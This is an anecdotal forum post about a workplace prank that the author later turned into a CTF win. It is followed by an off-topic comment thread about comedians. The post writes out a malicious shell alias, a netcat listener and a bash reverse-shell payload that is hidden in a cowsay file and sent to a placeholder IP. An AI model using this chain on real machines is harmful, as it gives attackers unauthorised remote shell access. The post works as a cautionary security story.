15
cprn
3d

Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:

alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'

So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.

But still, harmless prank, right? Right? Well…

His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.

How did I win? First, I opened the good old Netcat on my end:

nc -lvnp 1337

…then temporarily replaced Borat's face with a juicy payload:

exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";

Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.

Moral of the story?

🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.

GREAT SUCCESS! 🎉

Comments
  • 5
    upvote cuz borat is at least one of those funny movies that's actually funny

    was trying to find comedy the other day and I don't know what's going on 😭
  • 4
    @jestdotty Didn't you hear? Comedies aren't financially feasible any more, because 9/10 hurts someone's feelings… 🙁
  • 3
    @cprn @jestdotty yeah, but comedians actually censor themselves a bit. It takes some more balls than back in the day but satire is actually still allowed. Everyone knows that the world is less wokii than portrayed in the media. Most people know it's a fake world.
  • 1
    @cprn someone showed me Jimmy Carr recently and he hurt my feelings. who the fuck jokes about being a pedo. and most of his standup was sexual in nature. talk about just plain creepy. I don't wanna think about that stuff. are we accepting pedophilia and sexual debauchery now? it's so sad and gross. something is really messed up with that guy

    thing is my "friend" said I'd like him because my humour is so offensive... I don't even. I'm goddamned asexual why would I want to hear that. I hate people

    airplane hurt someone's feelings? it was fucking hilarious. literally innocent insights left and right. I don't know what this modern humour is. said friend also watches humour about the debasement of men, him being male, and I find that gross also. like weird feminism stuff that _should_ be insulting to any self respecting person. what the fuck man

    and I grew up in a poor former USSR country. Borat is accurate I tell ya. that's what makes it comfy and funny at the same time. no fluff
  • 2
    That was hilarious.
  • 1
    @jestdotty Oh, I love Jimmy Carr - he's one of the good ones. But I agree, you have to be able to suspend your morals to have a laugh. On the other side, thinking everything is normalisation is too `woke` for me. We all have a common sense to understand what's a joke and what isn't. He's clearly just jesting.

    IMHO, nothing _should_ be insulting by default. It's impossible to “give insult”. You can only “take offence”. Meaning, it's you who has control over getting insulted or not. Steve Hughes puts it in words in a digestable manner (at least for me) – it's short, ~40s: https://youtube.com/shorts/...
  • 2
    @cprn he's not even funny... all he does is puns. other than just being gross
  • 1
    @jestdotty Some people love puns. I hear vampires do, too.

    'Fangtasia' comes to mind.

    /* True Blood */
  • 0
    @jestdotty He might come off as a pun aficionado, but if you want to get technical, he's a master of set-up and contrast - two very powerful tools in a comedian's toolkit, and he's using them intuitively, which is rare. It's not something you can learn. Sure, he's using that talent to be offensive, shocking, controversial - and that's not everybody's cup of tea - but he's talented nevertheless.

    Now, you don't like his material, because of its content. That's understandable, de gustibus non est disputandum. But he's not funny... *for you*. A lot of his fans disagree. I personally think your generation took to heart the idea of shaming, and twisted it into self-righteousness. Fat-shaming, kink-shaming, age-shaming, etc. What about taste-shaming? Or humour-shaming?

    > are we accepting pedophilia and sexual debauchery

    It's not "accepting". Common sense in a healthy mental state should tell you he doesn't mean it. It's not a norm. It's just a joke. He degrades the idea by ridicule.
  • 1
    @cprn he's not degrading it... he's shy

    I don't see any common sense of him

    I think I'm the same generation as you
  • 1
    @jestdotty You too are inevitably nearing to that notorious 4 in the most significant digit? I wouldn't give you a day over 25, my dear.
Add Comment